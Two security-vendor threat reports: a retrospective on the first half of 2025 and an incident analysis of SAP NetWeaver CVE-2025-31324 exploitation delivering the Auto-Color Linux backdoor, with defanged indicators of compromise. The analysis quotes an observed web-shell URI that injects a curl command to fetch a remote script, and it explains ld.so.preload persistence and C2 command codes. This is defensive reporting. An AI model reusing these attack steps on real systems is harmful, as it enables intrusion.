2025: Threat landscape in review

The following is a retrospective of the first six months of 2025, highlighting key findings across the threat landscape impacting Darktrace customers.

Darktrace observed a wide range of tactics during this period, used by various types of threat actors including advanced persistent threats (APTs), Malware-as-a-Service (MaaS) and Ransomware-as-a-Service (RaaS) groups.

Methodology

Darktrace’s Analyst team conduct investigations and research into threats facing organizations and security teams across our customer base.  This includes direct investigations with our 24/7 Security Operations Centre (SOC), via services such as Managed Detection and Response (MDR) and Managed Threat Detection, as well as broader cross-fleet research through our Threat Research function.

At the core of our research is Darktrace’s anomaly-based detection, which the Analyst team contextualizes and analyzes to provide additional support to customers and deepen our understanding of the threats they face.

Threat actors are incorporating AI into offensive operations

Threat actors are continuously evolving their tactics, techniques, and procedures (TTPs), posing an ongoing challenge to effective defense hardening. Increasingly, many threat actors are adopting AI, particularly large language models (LLMs), into their operations to enhance the scale, sophistication, and efficacy of their attacks.

The evolving functionality of malware, such as the recently reported LameHug malware by CERT-UA, which uses an open-source LLM, exemplifies this observation [1].

Threat landscape trends in 2025

Threat actors applying AI to Email attacks

LLMs present a clear opportunity for attackers to take advantage of AI and create effective phishing emails at speed. While Darktrace cannot definitively confirm the use of AI to create the phishing emails observed across the customer base, the high volume of phishing emails and notable shifts in tactic could potentially be explained by threat actors adopting new tooling such as LLMs.

• The total number of malicious emails detected by Darktrace from January to May 2025 was over 12.6 million
• VIP users continue to face significant threat, with over 25% of all phishing emails targeting these users in the first five months of 2025 ‍
• QR code-based phishing emails have remained a consistent tactic, with a similar proportion observed in January-May 2024 and 2025. The highest numbers were observed in February 2025, with over 1 million detected in that month alone.
• Shifts towards increased sophistication within phishing emails are emerging, with a year-on-year increase in the proportion of phishing emails containing either a high text volume or multistage payloads. In the first five months of 2025, 32% of phishing emails contained a high volume of text.

The increase in proportion of phishing emails with a high volume of text in particular could point towards threat actors leveraging LLMs to create phishing emails with large, but believable, text in an easy and efficient way.

_{The above email statistics are derived from analysis of monitored Darktrace / EMAIL model data for all customer deployments hosted in the cloud between January 1 and May 31, 2025.}

Campaign Spotlight: Simple, Quick - ClickFix

An interesting technique Darktrace observed multiple times throughout March and April was ClickFix social engineering, which exploits the intersection between humans and technology to trick users into executing malicious code on behalf of the attacker.

• While this technique has been around since 2024, Darktrace observed campaign activity in the first half of 2025 suggesting a resurgence.  
• A range of threat actors – from APTs to MaaS and RaaS have adopted this technique to deliver secondary payloads, like information stealing malware.
• Attackers use fraudulent or compromised legitimate websites to inject malicious plugins that masquerade as fake CAPTCHAs.
• Targeted users believe they are completing human verification or resolving a website issue, unaware that they are being guided through a series of simple steps to execute PowerShell code on their system.
• Darktrace observed campaign activity during the first half of 2025 across a range of sectors, including Government, Healthcare, Insurance, Retail and, Non-profit.

Not just AI: Automation is enabling Ransomware and SaaS exploitation

The rise of phishing kits like FlowerStorm and Mamba2FA, which enable phishing and abuse users’ trust by mimicking legitimate services to bypass multi-factor authentication (MFA), highlight how the barriers to entry for sophisticated attacks continue to fall, enabling new threat actors. Combined with Software-as-a-Service (SaaS) account compromise, these techniques make up a substantial portion of cybercriminal activity observed by Darktrace so far this year.

Credentials remain the weak link

A key theme across multiple cases of ransomware was threat actors abusing compromised credentials to gain initial entry into networks via:

• Unauthorized access to internet-facing technology such as RDP servers and virtual private networks (VPNs).
• Unauthorized access to SaaS accounts.

SaaS targeted ransomware is on the rise

The encryption of files within SaaS environments observed by Darktrace demonstrates a continued trend of ransomware actors targeting these platforms over traditional networks, potentially driven by a higher return on investment.

SaaS accounts are often less protected than traditional systems because of Single Sign-On (SSO).  Additionally, platforms like Salesforce often host sensitive data, including emails, financial records, customer information, and network configuration details. This stresses the need for robust identity management practices and continuous monitoring.

RaaS is adding complexity and speed to cyber attacks

RaaS has dominated the attack landscape, with groups like Qilin, RansomHub, and Lynx all appearing multiple times in cases across Darktrace’s customer base over the past six months. Detecting ransomware attacks before the encryption stage remains a significant challenge, particularly in RaaS operations where different affiliates often use varying techniques for initial entry and earlier stages of the attack. Darktrace’s recent analysis of Scattered Spider underscores the challenge of hardening defenses against such varying techniques.

CVE exploitation continues despite available patches

Darktrace has also observed ransomware gangs exploiting known Common Vulnerabilities and Exposures (CVEs), including the Medusa ransomware group’s use of the SimpleHelp vulnerabilities: CVE-2024-57727 and CVE-2024-57728 in March, despite patches being made available in January [2].

Misused tools + delayed patches = growing cyber risk

The exploitation of common remote management tools like SimpleHelp highlights the serious challenges defenders face when patch management cycles are suboptimal. As threat actors continue to abuse legitimate services for malicious purposes, the challenges facing defenders will only grow more complex.

Edge exploitation

It comes as no surprise that exploitation of internet-facing devices continued to feature prominently in Darktrace’s Threat Research investigations during the first half of 2025.

Observed CVE exploitation included:

• ‍CVE-2025-0282, Ivanti Connect Secure & Ivanti Policy Secure‍
• CVE-2025-0994, Trimble Cityworks
• CVE-2024-57727 & CVE-2024-57728, SimpleHelp Remote Monitoring & Management (RMM)‍
• CVE-2025-31324, SAP NetWeaver‍
• CVE-2025-4427 & CVE-2025-4428, Ivanti Endpoint Manager Mobile (EPMM)

Many of Darktrace’s observations of CVE exploitation so far in 2025 align with wider industry reporting, which suggests that Chinese-nexus threat actors were deemed to likely have exploited these technologies prior to public disclosure. In the case of CVE-2025-0994 - a vulnerability affecting Trimble Cityworks, an asset management system designed for use by local governments, utilities, airports, and public work agencies [3].

Darktrace observed signs of exploitation as early as January 19, well before vulnerability’s public disclosure on February 6 [4]. Darktrace’s early identification of the exploitation stemmed from the detection of a suspicious file download from 192.210.239[.]172:3219/z44.exe - later linked to Chinese-speaking threat actors in a campaign targeting the US government [5].

This case demonstrates the risks posed by the exploitation of internet-facing devices, not only those hosting more common technologies, but also software associated specifically tied to Critical National Infrastructure (CNI); a lucrative target for threat actors. This also highlights Darktrace’s ability to detect exploitation of internet-facing systems, even without a publicly disclosed CVE. Further examples of how Darktrace’s anomaly detection can uncover malicious activity ahead of public vulnerability disclosures can be found here.

New threats and returning adversaries

In the first half of 2025, Darktrace observed a wide range of threats, from sophisticated techniques employed by APT groups to large-scale campaigns involving phishing and information stealers.

BlindEagle (APT-C-36)

Among the observed APT activity, BlindEagle (APT-C-36) was seen targeting customers in Latin America (LATM), first identified in February, with additional cases seen as recently as June.

Darktrace also observed a customer targeted in a China-linked campaign involving the LapDogs ORB network, with activity spanning from December 2024 and June 2025. These likely nation-state attacks illustrate the continued adoption of cyber and AI capabilities into the national security goals of certain countries.

Sophisticated malware functionality

Further sophistication has been observed within specific malware functionality - such as the malicious backdoor Auto-Color, which has now been found to employ suppression tactics to cover its tracks if it is unable to complete its kill chain - highlighting the potential for advanced techniques across every layer of an attack.‍

Familiar foes

Alongside new and emerging threats, previously observed and less sophisticated tools, such as worms, Remote Access Trojans (RATs), and information stealers, continue to impact Darktrace customers.

The Raspberry Robin worm... First seen in 2021, has been repeatedly identified within Darktrace’s customer base since 2022. Most recently, Darktrace’s Threat Research team identified cases in April and May this year. Recent open-source intelligence (OSINT) reporting suggests that Raspberry Robin continues to evolve its role as an Initial Access Broker (IAB), paving the way for various attacks and remaining a concern [6].

RATs also remain a threat, with examples like AsyncRAT and Gh0st RAT impacting Darktrace customers.

In April multiple cases of MaaS were observed in Darktrace’s customer base, with information stealers Amadey and Stealc, as well as GhostSocks being distributed as a follow up payload after an initial Amadey infection.

Conclusion

As cyber threats evolve, attackers are increasingly harnessing AI to craft highly convincing email attacks, automating phishing campaigns at unprecedented scale and speed. This, coupled with rapid exploitation of vulnerabilities and the growing sophistication of ransomware gangs operating as organized crime syndicates, makes today’s threat landscape more dynamic and dangerous than ever. Cyber defenders collaborate to combat these threats – the coordinated takedown of Lumma Stealer in May was a notable win for both industry and law-enforcement [7], however OSINT suggests that this threat persists [8], and new threats will continue to arise.

Traditional security tools that rely on static rules or signature-based detection often struggle to keep pace with these fast-moving, adaptive threats. In this environment, anomaly-based detection tools are no longer optional—they are essential. By identifying deviations in normal user and system behavior, tools like Darktrace provide a proactive layer of defense capable of detecting novel and emerging threats, even those that bypass conventional security measures. Investing in anomaly-based detection is critical to staying ahead of attackers who now operate with automation, intelligence, and global coordination.

Credit to Emma Foulger (Global Threat Research Operations Lead), Nathaniel Jones (VP, Security & AI Strategy, Field CISO),  Eugene Chua (Principal Cyber Analyst & Analyst Team Lead), Nahisha Nobregas (Senior Cyber Analyst), Nicole Wong (Principal Cyber Analyst), Justin Torres (Senior Cyber Analyst), Matthew John (Director of Operations, SOC), Sam Lister (Specialist Security Researcher), Ryan Traill (Analyst Content Lead) and the Darktrace Incident Management team.

_{The information contained in this blog post is provided for general informational purposes only and represents the views and analysis of Darktrace as of the date of publication. While efforts have been made to ensure the accuracy and timeliness of the information, the cybersecurity landscape is dynamic, and new threats or vulnerabilities may have emerged since this report was compiled.}

_{This content is provided “as is” and without warranties of any kind, either express or implied. Darktrace makes no representations or warranties regarding the completeness, accuracy, reliability, or suitability of the information, and expressly disclaims all warranties.}

_{Nothing in this blog post should be interpreted as legal, technical, or professional advice. Users of this information assume full responsibility for any actions taken based on its content, and Darktrace shall not be liable for any loss or damage resulting from reliance on this material. Reference to any specific products, companies, or services does not constitute or imply endorsement, recommendation, or affiliation.}

Appendices

Indicators of Compromise (IoCs)

IoC - Type - Description + Probability

LapDogs ORB network, December 2024-June 2025

www.northumbra[.]com – Hostname – Command and Control (C2) server

103.131.189[.]2 – IP Address - C2 server, observed December 2024 & June 2025

103.106.230[.]31 – IP Address - C2 server, observed December 2024

154.223.20[.]56 – IP Address – Possible C2 server, observed December 2024

38.60.214[.]23 – IP Address – Possible C2 server, observed January & February 2025

154.223.20[.]58:1346/systemd-log – URL – Possible ShortLeash payload, observed December 2024

CN=ROOT,OU=Police department,O=LAPD,L=LA,ST=California,C=US - TLS certificate details for C2 server

CVE-2025-0994, Trimble Cityworks exploitation, January 2025

192.210.239[.]172:3219/z44.exe – URL - Likely malicious file download

AsyncRAT, February-March 2025

windows-cam.casacam[.]net – Hostname – Likely C2 server

88.209.248[.]141 – IP Address – Likely C2 server

207.231.105[.]51 – IP Address – Likely C2 server

163.172.125[.]253 – IP Address – Likely C2 server

microsoft-download.ddnsfree[.]com – Hostname – Likely C2 server

95.217.34[.]113 – IP Address – Likely C2 server

vpnl[.]net – Hostname – Likely C2 server

157.20.182[.]16 – IP Address - Likely C2 server

185.81.157[.]19 – IP Address – Likely C2 server

dynamic.serveftp[.]net – IP Address – Likely C2 server

158.220.96.15 – IP Address – Likely C2 server

CVE-2024-57727 & CVE-2024-57728, SimpleHelp RMM exploitation, March 2025

213.183.63[.]41 – IP Address - C2 server

213.183.63[.]41/access/JWrapper-Windows64JRE-version.txt?time=3512082867 – URL - C2 server

213.183.63[.]41/access/JWrapper-Windows64JRE-00000000002-archive.p2.l2 – URL - C2 server

pruebas.pintacuario[.]mx – Hostname – Possible C2 server

144.217.181[.]205 – IP Address – Likely C2 server

erp.ranasons[.]com – Hostname – Possible destination for exfiltration

143.110.243[.]154 – IP Address – Likely destination for exfiltration

Blind Eagle, April-June 2025

sostenermio2024.duckdns[.]org/31agosto.vbs – URL – Possible malicious file download

Stealc, April 2025

88.214.48[.]93/ea2cb15d61cc476f[.]php – URL – C2 server

Amadey & GhostSocks, April 2025

195.82.147[.]98 – IP Address - Amadey C2 server

195.82.147[.]98/0Bdh3sQpbD/index.php – IP Address – Likely Amadey C2 activity

194.28.226.181 – IP Address – Likely GhostSocks C2 server

RaspberryRobin, May 2025

4j[.]pm – Hostname – C2 server

4xq[.]nl – Hostname – C2 server

8t[.]wf – Hostname – C2 server

Gh0stRAT, May 2025

lu.dssiss[.]icu  - Hostname – Likely C2 server

192.238.133[.]162:7744/1-111.exe – URL – Possible addition payload

8e9dec3b028f2406a8c546a9e9ea3d50609c36bb - SHA1 - Possible additional payload

f891c920f81bab4efbaaa1f7a850d484 - MD5 – Possible additional payload

192.238.133[.]162:7744/c3p.exe – URL - Possible additional payload

03287a15bfd67ff8c3340c0bae425ecaa37a929f - SHA1 - Possible additional payload

02aa02aee2a6bd93a4a8f4941a0e6310 - MD5 - Possible additional payload

192.238.133[.]162:7744/1-1111.exe – URL - Possible additional payload

1473292e1405882b394de5a5857f0b6fa3858fd1 - SHA1 - Possible additional payload

69549862b2d357e1de5bab899ec0c817 - MD5 - Possible additional payload

192.238.133[.]162:7744/1-25.exe – URL -  Possible additional payload

20189164c4cd5cac7eb76ba31d0bd8936761d7a7  - SHA1 - Possible additional payload

f42aa5e68b28a3f335f5ea8b6c60cb57 – MD5 - Possible additional payload

192.238.133[.]162:7744/Project1_se.exe – URL - Possible additional payload

fea1e30dfafbe9fa9abbbdefbcbe245b6b0628ad - SHA1 - Possible additional payload

5ea622c630ef2fd677868cbe8523a3d5 - MD5 - Possible additional payload

192.238.133[.]162:7744/Project1_se.exe - URL - Possible additional payload

aa5a5d2bd610ccf23e58bcb17d6856d7566d71b9  - SHA1 - Possible additional payload

9d33029eaeac1c2d05cf47eebb93a1d0 - MD5 - Possible additional payload

References and further reading

1.        https://cip.gov.ua/en/news/art28-atakuye-sektor-bezpeki-ta-oboroni-za-dopomogoyu-programnogo-zasobu-sho-vikoristovuye-shtuchnii-intelekt?utm_medium=email&_hsmi=113619842&utm_content=113619842&utm_source=hs_email

2.        https://www.s-rminform.com/latest-thinking/cyber-threat-advisory-medusa-and-the-simplehelp-vulnerability

3.        https://assetlifecycle.trimble.com/en/products/software/cityworks

4.     https://nvd.nist.gov/vuln/detail/CVE-2025-0994

5.     https://blog.talosintelligence.com/uat-6382-exploits-cityworks-vulnerability/

6.        https://www.silentpush.com/blog/raspberry-robin/

7.        https://blogs.microsoft.com/on-the-issues/2025/05/21/microsoft-leads-global-action-against-favored-cybercrime-tool/

8.     https://www.trendmicro.com/en_sg/research/25/g/lumma-stealer-returns.html

Related Darktrace investigations

-              ClickFix

-              FlowerStorm

-              Mamba 2FA

-              Qilin Ransomware

-              RansomHub Ransomware

-              RansomHub Revisited

-              Lynx Ransomware

-              Scattered Spider

-              Medusa Ransomware

-              Legitimate Services Malicious Intentions

-              CVE-2025-0282 and CVE-2025-0283 – Ivanti CS, PS and ZTA

-              CVE-2025-31324 – SAP Netweaver

-              Pre-CVE Threat Detection

-              BlindEagle (APT-C-36)

-              Raspberry Robin Worm

-              AsyncRAT

-              Amadey

-              Lumma Stealer

In April 2025, Darktrace identified an Auto-Color backdoor malware attack taking place on the network of a US-based chemicals company.

Over the course of three days, a threat actor gained access to the customer’s network, attempted to download several suspicious files and communicated with malicious infrastructure linked to Auto-Color malware.

After Darktrace successfully blocked the malicious activity and contained the attack, the Darktrace Threat Research team conducted a deeper investigation into the malware.

They discovered that the threat actor had exploited CVE-2025-31324 to deploy Auto-Color as part of a multi-stage attack — the first observed pairing of SAP NetWeaver exploitation with the Auto-Color malware.

Furthermore, Darktrace’s investigation revealed that Auto-Color is now employing suppression tactics to cover its tracks and evade detection when it is unable to complete its kill chain.

What is CVE-2025-31324?

On April 24, 2025, the software provider SAP SE disclosed a critical vulnerability in its SAP Netweaver product, namely CVE-2025-31324. The exploitation of this vulnerability would enable malicious actors to upload files to the SAP Netweaver application server, potentially leading to remote code execution and full system compromise. Despite the urgent disclosure of this CVE, the vulnerability has been exploited on several systems [1]. More information on CVE-2025-31324 can be found in our previous discussion.

What is Auto-Color Backdoor Malware?

The Auto-Color backdoor malware, named after its ability to rename itself to “/var/log/cross/auto-color” after execution, was first observed in the wild in November 2024 and is categorized as a Remote Access Trojan (RAT).

Auto-Colour has primarily been observed targeting universities and government institutions in the US and Asia [2].

What does Auto-Color Backdoor Malware do?

It is known to target Linux systems by exploiting built-in system features like ld.so.preload, making it highly evasive and dangerous, specifically aiming for persistent system compromise through shared object injection.

Each instance uses a unique file and hash, due to its statically compiled and encrypted command-and-control (C2) configuration, which embeds data at creation rather than retrieving it dynamically at runtime. The behavior of the malware varies based on the privilege level of the user executing it and the system configuration it encounters.

How does Auto-Color work?

The malware’s process begins with a privilege check; if the malware is executed without root privileges, it skips the library implant phase and continues with limited functionality, avoiding actions that require system-level access, such as library installation and preload configuration, opting instead to maintain minimal activity while continuing to attempt C2 communication. This demonstrates adaptive behavior and an effort to reduce detection when running in restricted environments.

If run as root, the malware performs a more invasive installation, installing a malicious shared object, namely **libcext.so.2**, masquerading as a legitimate C utility library, a tactic used to blend in with trusted system components. It uses dynamic linker functions like dladdr() to locate the base system library path; if this fails, it defaults to /lib.

Gaining persistence through preload manipulation

To ensure persistence, Auto-Color modifies or creates /etc/ld.so.preload, inserting a reference to the malicious library. This is a powerful Linux persistence technique as libraries listed in this file are loaded before any others when running dynamically linked executables, meaning Auto-Color gains the ability to silently hook and override standard system functions across nearly all applications.

Once complete, the ELF binary copies and renames itself to “**/var/log/cross/auto-color**”, placing the implant in a hidden directory that resembles system logs. It then writes the malicious shared object to the base library path.

A delayed payload activated by outbound communication

To complete its chain, Auto-Color attempts to establish an outbound TLS connection to a hardcoded IP over port 443. This enables the malware to receive commands or payloads from its operator via API requests [2].

Interestingly, Darktrace found that Auto-Color suppresses most of its malicious behavior if this connection fails - an evasion tactic commonly employed by advanced threat actors. This ensures that in air-gapped or sandboxed environments, security analysts may be unable to observe or analyze the malware’s full capabilities.

If the C2 server is unreachable, Auto-Color effectively stalls and refrains from deploying its full malicious functionality, appearing benign to analysts. This behavior prevents reverse engineering efforts from uncovering its payloads, credential harvesting mechanisms, or persistence techniques.

In real-world environments, this means the most dangerous components of the malware only activate when the attacker is ready, remaining dormant during analysis or detonation, and thereby evading detection.

Darktrace’s coverage of the Auto-Color malware

Initial alert to Darktrace’s SOC

On April 28, 2025, Darktrace’s Security Operations Centre (SOC) received an alert for a suspicious ELF file downloaded on an internet-facing device likely running SAP Netweaver. ELF files are executable files specific to Linux, and in this case, the unexpected download of one strongly indicated a compromise, marking the delivery of the Auto-Color malware.

Early signs of unusual activity detected by Darktrace

While the first signs of unusual activity were detected on April 25, with several incoming connections using URIs containing /developmentserver/metadatauploader, potentially scanning for the CVE-2025-31324 vulnerability, active exploitation did not begin until two days later.

Initial compromise via ZIP file download followed by DNS tunnelling requests

In the early hours of April 27, Darktrace detected an incoming connection from the malicious IP address 91.193.19[.]109[.] 6.

The telltale sign of CVE-2025-31324 exploitation was the presence of the URI ‘/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1’, combined with a ZIP file download.

The device immediately made a DNS request for the Out-of-Band Application Security Testing (OAST) domain aaaaaaaaaaaa[.]d06oojugfd4n58p4tj201hmy54tnq4rak[.]oast[.]me.

OAST is commonly used by threat actors to test for exploitable vulnerabilities, but it can also be leveraged to tunnel data out of a network via DNS requests.

Darktrace’s Autonomous Response capability quickly intervened, enforcing a “pattern of life” on the offending device for 30 minutes. This ensured the device could not deviate from its expected behavior or connections, while still allowing it to carry out normal business operations.

Continued malicious activity

The device continued to receive incoming connections with URIs containing ‘/developmentserver/metadatauploader’. In total seven files were downloaded (see filenames in Appendix).

Around 10 hours later, the device made a DNS request for ‘ocr-freespace.oss-cn-beijing.aliyuncs[.]com’.

In the same second, it also received a connection from 23.186.200[.]173 with the URI ‘/irj/helper.jsp?cmd=curl -O hxxps://ocr-freespace.oss-cn-beijing.aliyuncs[.]com/2025/config.sh’, which downloaded a shell script named config.sh.

Execution

This script was executed via the helper.jsp file, which had been downloaded during the initial exploit, a technique also observed in similar SAP Netweaver exploits [4].

Darktrace subsequently observed the device making DNS and SSL connections to the same endpoint, with another inbound connection from 23.186.200[.]173 and the same URI observed again just ten minutes later.

The device then went on to make several connections to 47.97.42[.]177 over port 3232, an endpoint associated with Supershell, a C2 platform linked to backdoors and commonly deployed by China-affiliated threat groups [5].

Less than 12 hours later, and just 24 hours after the initial exploit, the attacker downloaded an ELF file from http://146.70.41.178:4444/logs, which marked the delivery of the Auto-Color malware.

A deeper investigation into the attack

Darktrace’s findings indicate that CVE-2025-31324 was leveraged in this instance to launch a second-stage attack, involving the compromise of the internet-facing device and the download of an ELF file representing the Auto-Color malware—an approach that has also been observed in other cases of SAP NetWeaver exploitation [4].

Darktrace identified the activity as highly suspicious, triggering multiple alerts that prompted triage and further investigation by the SOC as part of the Darktrace Managed Detection and Response (MDR) service.

During this investigation, Darktrace analysts opted to extend all previously applied Autonomous Response actions for an additional 24 hours, providing the customer’s security team time to investigate and remediate.

At the host level, the malware began by assessing its privilege level; in this case, it likely detected root access and proceeded without restraint. Following this, the malware began the chain of events to establish and maintain persistence on the device, ultimately culminating an outbound connection attempt to its hardcoded C2 server.

Over a six-hour period, Darktrace detected numerous attempted connections to the endpoint 146.70.41[.]178 over port 443. In response, Darktrace’s Autonomous Response swiftly intervened to block these malicious connections.

Given that Auto-Color relies heavily on C2 connectivity to complete its execution and uses shared object preloading to hijack core functions without modifying existing binaries, the absence of a successful connection to its C2 infrastructure (in this case, 146.70.41[.]178) causes the malware to sleep before trying to reconnect.

While Darktrace’s analysis was limited by the absence of a live C2, prior research into its command structure reveals that Auto-Color supports a modular C2 protocol. This includes reverse shell initiation (0x100), file creation and execution tasks (0x2xx), system proxy configuration (0x300), and global payload manipulation (0x4XX). Additionally, core command IDs such as 0,1, 2, 4, and 0xF cover basic system profiling and even include a kill switch that can trigger self-removal of the malware [2]. This layered command set reinforces the malware’s flexibility and its dependence on live operator control.

Thanks to the timely intervention of Darktrace’s SOC team, who extended the Autonomous Response actions as part of the MDR service, the malicious connections remained blocked. This proactive prevented the malware from escalating, buying the customer’s security team valuable time to address the threat.

Conclusion

Ultimately, this incident highlights the critical importance of addressing high-severity vulnerabilities, as they can rapidly lead to more persistent and damaging threats within an organization’s network. Vulnerabilities like CVE-2025-31324 continue to be exploited by threat actors to gain access to and compromise internet-facing systems. In this instance, the download of Auto-Color malware was just one of many potential malicious actions the threat actor could have initiated.

From initial intrusion to the failed establishment of C2 communication, the Auto-Color malware showed a clear understanding of Linux internals and demonstrated calculated restraint designed to minimize exposure and reduce the risk of detection. However, Darktrace’s ability to detect this anomalous activity, and to respond both autonomously and through its MDR offering, ensured that the threat was contained. This rapid response gave the customer’s internal security team the time needed to investigate and remediate, ultimately preventing the attack from escalating further.

Credit to Harriet Rayner (Cyber Analyst), Owen Finn (Cyber Analyst), Tara Gould (Threat Research Lead) and Ryan Traill (Analyst Content Lead)

Appendices

MITRE ATT&CK Mapping

Malware - RESOURCE DEVELOPMENT - T1588.001

Drive-by Compromise - INITIAL ACCESS - T1189

Data Obfuscation - COMMAND AND CONTROL - T1001

Non-Standard Port - COMMAND AND CONTROL - T1571

Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - EXFILTRATION - T1048.003

Masquerading - DEFENSE EVASION - T1036

Application Layer Protocol - COMMAND AND CONTROL - T1071

Unix Shell – EXECUTION - T1059.004

LC_LOAD_DYLIB Addition – PERSISTANCE - T1546.006

Match Legitimate Resource Name or Location – DEFENSE EVASION - T1036.005

Web Protocols – COMMAND AND CONTROL - T1071.001

Indicators of Compromise (IoCs)

Filenames downloaded:

• exploit.properties
• helper.jsp
• 0KIF8.jsp
• cmd.jsp
• test.txt
• uid.jsp
• vregrewfsf.jsp

Auto-Color sample:

• 270fc72074c697ba5921f7b61a6128b968ca6ccbf8906645e796cfc3072d4c43 (sha256)

IP Addresses

• 146[.]70[.]19[.]122
• 149[.]78[.]184[.]215
• 196[.]251[.]85[.]31
• 120[.]231[.]21[.]8
• 148[.]135[.]80[.]109
• 45[.]32[.]126[.]94
• 110[.]42[.]42[.]64
• 119[.]187[.]23[.]132
• 18[.]166[.]61[.]47
• 183[.]2[.]62[.]199
• 188[.]166[.]87[.]88
• 31[.]222[.]254[.]27
• 91[.]193[.]19[.]109
• 123[.]146[.]1[.]140
• 139[.]59[.]143[.]102
• 155[.]94[.]199[.]59
• 165[.]227[.]173[.]41
• 193[.]149[.]129[.]31
• 202[.]189[.]7[.]77
• 209[.]38[.]208[.]202
• 31[.]222[.]254[.]45
• 58[.]19[.]11[.]97
• 64[.]227[.]32[.]66

Darktrace Model Detections

Compromise / Possible Tunnelling to Bin Services

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous File / Incoming ELF File

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous Connection / New User Agent to IP Without Hostname

Experimental / Mismatched MIME Type From Rare Endpoint V4

Compromise / High Volume of Connections with Beacon Score

Device / Initial Attack Chain Activity

Device / Internet Facing Device with High Priority Alert

Compromise / Large Number of Suspicious Failed Connections

Model Alerts for CVE

Compromise / Possible Tunnelling to Bin Services

Compromise / High Priority Tunnelling to Bin Services

Autonomous Response Model Alerts

Antigena / Network::External Threat::Antigena Suspicious File Block

Antigena / Network::External Threat::Antigena File then New Outbound Block

Antigena / Network::Significant Anomaly::Antigena Controlled and Model Alert

Experimental / Antigena File then New Outbound Block

Antigena / Network::External Threat::Antigena Suspicious Activity Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / MDR::Model Alert on MDR-Actioned Device

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

References

1. [Online] https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/.

2. https://unit42.paloaltonetworks.com/new-linux-backdoor-auto-color/. [Online]

3. [Online] (https://www.darktrace.com/blog/tracking-cve-2025-31324-darktraces-detection-of-sap-netweaver-exploitation-before-and-after-disclosure#:~:text=June%2016%2C%202025-,Tracking%20CVE%2D2025%2D31324%3A%20Darktrace's%20detection%20of%20SAP%20Netweaver,guidance%.

4. [Online] https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/.

5. [Online] https://www.forescout.com/blog/threat-analysis-sap-vulnerability-exploited-in-the-wild-by-chinese-threat-actor/.